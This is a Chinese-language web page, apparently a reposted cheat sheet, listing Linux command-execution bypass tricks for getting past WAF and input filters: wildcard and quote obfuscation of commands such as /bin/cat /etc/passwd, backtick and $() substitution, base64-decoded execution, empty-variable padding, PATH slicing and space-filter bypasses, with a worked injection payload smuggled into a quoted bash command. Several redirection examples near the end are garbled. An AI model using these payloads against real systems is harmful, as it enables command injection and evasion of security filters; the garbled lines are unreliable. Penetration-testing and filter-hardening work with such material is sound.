Linux下的命令执行绕过技巧合集(渗透测试专用) 您所在的位置:网站首页 linux 命令技巧 Linux下的命令执行绕过技巧合集(渗透测试专用)

Linux下的命令执行绕过技巧合集(渗透测试专用)

#Linux下的命令执行绕过技巧合集(渗透测试专用)| 来源: 网络整理| 查看: 265

一、通配符

* 代表『0个到无穷多个』任意字符,包括空字符

? 代表『一定有一个』任意字符

[ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』

[ - ]若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表0到9之间的所有数字,因为数字的语系编码是连续的!

[ ^ ] 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。

{ } 和[ ]的区别是如果匹配的文件不存在,[ ]会失去模式的功能,变成一个单纯的字符串,而{ }依然可以展开。

利用方法:

举例:/?in/cat /?tc/p?sswd //这个就相当于寻找/bin/cat /etc/passwd

/?in/[l][^dnpqrtuvwxyz] -l //这个就相当于/bin/ls -l ;其中[^dnpqrtuvwxyz]意思就是有这么一个字符,但是排除括号里这些。

/?in/[l][r-t] -l //这个就相当于/bin/ls -l;其中[r-t]意思是在r-t中进行选择,也就是从r s t 这三个中进行选择。

/bi?/ca[s-u] /etc/pass* //这个就相当于/bin/cat /etc/passwd ;其中/etc/pass*中的*代表一个或多个字符,它匹配到的为passwd。

二、连接符 1、单引号

你唯一需要注意的就是闭合,这点很重要,利用这个我们可以绕过一些匹配字符串的WAF规则

例如e'c'ho h'e'l'lo' //其中要注意前后的闭合;

例如 读取/etc/passdw : /'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd

2、双引号

和单引号一样,同样要注意前后的闭合。

例如 /"b"i"n"/"w"h"i"c"h" "n"c //其中要注意前后的闭合;

3、反斜杠

举例:/b\i\n/w\h\i\c\h n\c

4、特殊连接符反引号 ` ` //反引号中间的字符会被当作命令执行

举例:666`whoami`666 666`\whoami`666 //命令执行后的结果在2个666中间

`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令

举例:w`\666`ho`\666`am`\666`i //反引号中的执行完拼接到一起再执行

遇到的情况:

遇到命令执行的漏洞,其中拼接了字符串但是前后加上了"" 双引号,并且过滤器过滤了双引号导致不能够闭合,则可以通过在反引号中添加要执行的命令拼接上,即可以先执行反引号中的内容,在拼接到原来命令种

比如:原命令是/bin/bash -c echo "123 keyword" 其中keyword可控,因为双引号被过滤 我们无法直接通过双引号闭合,所以可以通过反引号绕过:

keyword = `touch /tmp/success`

那么命令就成了:/bin/bash -c echo "123 `touch /tmp/success`"

这样就可以先执行touch /tmp/success,然后再执行echo 123

5、特殊连接符$( ) //$( )里面的字符会被当作命令执行

举例:wh$(666)oa$(777)mi //$( )里面的内容先进行执行,再拼接到一起执行。

三、未初始化的bash变量 1、自定义未初始化的变量合并利用

使用$*和$@,$x(x代表1-9),${x}(x>=10) 没有传参的情况下默认为空值。$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$1-$8同理

在bash环境下允许我们使用未初始化的bash变量,如下:

a=wh b=oami $a$b root //输出

2、默认下未定义的变量为空值,绕过过滤

举例:$s/bin$s/which$s nc$s //这里的$s默认为空值,所以不会影响输出,实际仍然为/bin/which nc

3、默认变量

$PS2代替>

$PS4代替+

四、切割字符串 1、利用和Windows基本一致

首先echo ${PATH} //查看我们的PATH路径

判断长度echo ${#PATH} //查看我们PATH的长度

确定要截取的长度echo ${PATH:61:6}

2、综合利用

通过PATH中的字符串进行查找拼接

先通过echo ${PATH}查看PATH的路径信息

如需要查看whoami命令,根据PATH路径查找指定的字符:wh${PATH:6:1}${PATH:8:1}m${PATH:12:1}

五、特殊绕过(绕过空格过滤) 1、利用大花括号 { } 绕过

在linux下我们还可以使用大花括号来绕过空格的限制

举例:ls -alt命令中间的空格:{ls,-alt}

2、重定向符号绕过

我们还可以使用来绕过空格。

linux中,小于号来将输出重定向,用后面的文件来取代屏幕,将输出保存进文件里

举例:lsalt

举例:cat1.txt cat



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有